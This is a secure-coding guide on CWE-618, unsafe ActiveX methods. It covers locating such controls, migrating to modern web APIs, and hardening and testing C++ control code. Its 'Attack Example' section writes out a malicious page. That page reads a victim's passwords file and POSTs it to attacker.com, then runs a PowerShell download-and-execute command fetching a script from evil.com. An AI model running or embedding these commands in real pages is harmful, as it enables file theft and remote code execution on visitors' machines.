CWE-618: Exposed Unsafe ActiveX Method
Overview
ActiveX controls marked "safe for scripting" expose methods to web pages without proper security controls, enabling malicious websites to invoke dangerous operations (file system access, registry modification, code execution) in visitor browsers via JavaScript.
Risk
Critical: Unsafe ActiveX enables remote code execution, arbitrary file read/write, registry manipulation, system compromise, and affects all visitors to malicious websites. Exploited widely in browser-based attacks.
Remediation Steps
Core principle: Do not expose unsafe ActiveX methods to untrusted callers; disable/limit scripting-accessible dangerous methods.
Locate Unsafe ActiveX Controls
When reviewing security scan results:
- Find ActiveX controls: Search for CLSID, object tags, ActiveX registration
- Check IObjectSafety: Look for INTERFACESAFE_FOR_UNTRUSTED_CALLER
- Identify dangerous methods: File operations, command execution, registry access
- Review method exposure: Which methods are callable from JavaScript
- Check web pages: HTML using ActiveX controls
Search patterns:
grep -r "classid:clsid" --include="*.html"
grep -r "IObjectSafety" --include="*.cpp"
grep -r "INTERFACESAFE_FOR_UNTRUSTED" --include="*.cpp"
Remove ActiveX Controls (Primary Defense - Modern Web)
<!-- OBSOLETE - ActiveX (IE only, discontinued) -->
<object classid="clsid:12345678-1234-1234-1234-123456789012" id="myControl">
<param name="method" value="executeCommand">
</object>
<script>
// Attacker can call dangerous methods
myControl.ExecuteFile("C:\\malicious.exe"); // RCE!
myControl.WriteFile("C:\\Windows\\System32\\evil.dll", data);
myControl.SetRegistryKey("HKLM\\Software\\...", "malicious");
</script>
<!-- MODERN - Use web standards (recommended) -->
<input type="file" id="fileInput" accept=".pdf,.doc">
<script>
// File API - sandboxed, secure
document.getElementById('fileInput').addEventListener('change', (e) => {
const file = e.target.files[0];
const reader = new FileReader();
reader.onload = (event) => {
processFileContent(event.target.result);
};
reader.readAsText(file);
});
</script>
Why this works: ActiveX is obsolete technology, only worked in Internet Explorer, and has been discontinued. Modern web APIs provide secure alternatives with proper sandboxing.
Internet Explorer is dead:
- IE 11 support ended June 15, 2022
- Edge uses Chromium, doesn't support ActiveX
- No modern browser supports ActiveX
- Migrate to web standards
Use Modern Web API Alternatives
// File operations → File API, File System Access API
// OLD: ActiveX file read
myControl.ReadFile("C:\\file.txt");
// NEW: File API (user must select file)
const fileInput = document.getElementById('upload');
fileInput.files[0].text().then(content => {
console.log(content); // Secure, user-initiated
});
// NEW: File System Access API (Chrome)
const [fileHandle] = await window.showOpenFilePicker();
const file = await fileHandle.getFile();
const content = await file.text();
// Cryptography → Web Crypto API
// OLD: ActiveX crypto
myControl.HashPassword(password);
// NEW: Web Crypto API
const encoder = new TextEncoder();
const data = encoder.encode(password);
const hash = await crypto.subtle.digest('SHA-256', data);
// Hardware access → WebUSB, WebBluetooth, WebHID
// OLD: ActiveX hardware control
myControl.ConnectToDevice(deviceId);
// NEW: WebUSB
const device = await navigator.usb.requestDevice({ filters: [...] });
await device.open();
// Local storage → IndexedDB, localStorage, SessionStorage
// OLD: ActiveX local storage
myControl.SaveData("key", "value");
// NEW: localStorage (simple)
localStorage.setItem('key', 'value');
// NEW: IndexedDB (complex, large data)
const db = await idb.openDB('myDatabase', 1);
await db.put('store', { key: 'value' });
// Desktop application → Electron, Progressive Web Apps
// If you need native OS integration, use:
// - Electron (desktop app framework)
// - Browser extensions (WebExtensions API)
// - Progressive Web Apps (PWA)
If ActiveX Required - Mark as Unsafe for Scripting
// C++ ActiveX control implementation
// Mark control as UNSAFE for untrusted scripting
DECLARE_NOT_AGGREGATABLE(CMyControl)
// Do NOT implement IObjectSafety for dangerous methods
BEGIN_INTERFACE_MAP(CMyControl, CComObjectRootEx<CComSingleThreadModel>)
INTERFACE_ENTRY(IMyControl)
// Don't add: INTERFACE_ENTRY(IObjectSafety)
END_INTERFACE_MAP()
// Or implement IObjectSafety to explicitly deny scripting
STDMETHODIMP CMyControl::SetInterfaceSafetyOptions(
REFIID riid,
DWORD dwOptionSetMask,
DWORD dwEnabledOptions)
{
// Deny scripting from untrusted sources
if (dwOptionSetMask & INTERFACESAFE_FOR_UNTRUSTED_CALLER) {
return E_FAIL; // Disallow
}
// Allow initialization safety only
if (dwOptionSetMask & INTERFACESAFE_FOR_UNTRUSTED_DATA) {
return S_OK;
}
return E_FAIL;
}
Add Input Validation to ActiveX Methods
// If you MUST keep ActiveX, validate all inputs rigorously
STDMETHODIMP CMyControl::WriteFile(BSTR path, BSTR content)
{
// 1. Validate path - prevent directory traversal
if (wcsstr(path, L"..") != NULL) {
return E_INVALIDARG;
}
// 2. Restrict to specific allowed directory
const wchar_t* ALLOWED_PATH = L"C:\\AllowedAppData\\";
if (wcsncmp(path, ALLOWED_PATH, wcslen(ALLOWED_PATH)) != 0) {
return E_ACCESSDENIED;
}
// 3. Validate filename - no executable extensions
if (wcsstr(path, L".exe") || wcsstr(path, L".dll") ||
wcsstr(path, L".bat") || wcsstr(path, L".cmd")) {
return E_ACCESSDENIED;
}
// 4. Validate content size
UINT contentLen = SysStringLen(content);
const UINT MAX_SIZE = 1024 * 1024; // 1 MB
if (contentLen > MAX_SIZE) {
return E_INVALIDARG;
}
// 5. Log the operation
LogSecurityEvent(L"FileWrite", path, GetCallerOrigin());
return WriteFileImpl(path, content);
}
STDMETHODIMP CMyControl::ExecuteCommand(BSTR command)
{
// NEVER allow arbitrary command execution!
return E_NOTIMPL; // Not implemented for security
}
STDMETHODIMP CMyControl::SetRegistryKey(BSTR key, BSTR value)
{
// If needed, restrict to specific safe registry locations
const wchar_t* ALLOWED_KEY = L"HKCU\\Software\\MyApp\\";
if (wcsncmp(key, ALLOWED_KEY, wcslen(ALLOWED_KEY)) != 0) {
return E_ACCESSDENIED;
}
// Validate value
if (SysStringLen(value) > 256) {
return E_INVALIDARG;
}
return SetRegistryImpl(key, value);
}
Test and Migrate Away from ActiveX
Testing (if keeping ActiveX temporarily):
<!-- Test that control is not scriptable -->
<object classid="clsid:YOUR-CONTROL-GUID" id="testControl"></object>
<script>
try {
testControl.ExecuteCommand("cmd.exe"); // Should fail
console.error("SECURITY FAILURE: Command executed!");
} catch (e) {
console.log("Good: Command blocked");
}
try {
testControl.WriteFile("C:\\..\\..\\evil.exe", "data"); // Should fail
console.error("SECURITY FAILURE: Path traversal!");
} catch (e) {
console.log("Good: Path traversal blocked");
}
</script>
ActiveX to Modern Web Migration
Phase 1: Inventory
- List all ActiveX controls used
- Document what each control does
- Identify modern alternatives
Phase 2: Implement Alternatives
- File operations → File API
- Crypto → Web Crypto API
- Hardware → WebUSB/WebBluetooth
- Storage → IndexedDB/localStorage
- Desktop features → Electron/PWA
Phase 3: Test
- Test in modern browsers (Chrome, Firefox, Edge)
- Verify functionality parity
- Security testing
Phase 4: Deploy
- Remove ActiveX controls
- Update HTML/JavaScript
- Communicate to users (no IE required)
Phase 5: Verify
- No ActiveX objects in HTML
- No CLSID references
- Works in all modern browsers
Security verification:
- No ActiveX controls in production
- If ActiveX needed: marked unsafe for scripting
- Dangerous methods (Execute, WriteFile, Registry) disabled
- Input validation on all ActiveX methods
- Modern web APIs used instead
- Application works without IE
- Security testing passed (no RCE, file access, registry access)
Vulnerable ActiveX Patterns
// Dangerous methods exposed to scripting:
// File system access
STDMETHODIMP WriteFile(BSTR path, BSTR content);
STDMETHODIMP ReadFile(BSTR path, BSTR* content);
STDMETHODIMP DeleteFile(BSTR path);
// Code execution
STDMETHODIMP ExecuteCommand(BSTR command);
STDMETHODIMP RunProgram(BSTR exePath);
// Registry access
STDMETHODIMP SetRegistryKey(BSTR key, BSTR value);
STDMETHODIMP GetRegistryKey(BSTR key, BSTR* value);
// Network access
STDMETHODIMP DownloadFile(BSTR url, BSTR localPath);
STDMETHODIMP UploadFile(BSTR localPath, BSTR url);
Attack Example
<!-- Malicious website -->
<object classid="clsid:VULNERABLE-CONTROL-GUID" id="evil">
</object>
<script>
// Read files
var content = evil.ReadFile("C:\\Users\\victim\\Documents\\passwords.txt");
// Send to attacker
fetch('https://attacker.com/steal', {
method: 'POST',
body: content
});
// Execute malware
evil.ExecuteCommand("powershell -c IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')");
</script>
Migration Path
ActiveX Control → Modern Alternative
File access → File API, File System Access API Printing → window.print(), Print API Crypto → Web Crypto API Hardware → WebUSB, WebBluetooth, WebHID Local data → IndexedDB, localStorage Desktop app → Electron, Progressive Web Apps Browser extension → WebExtensions API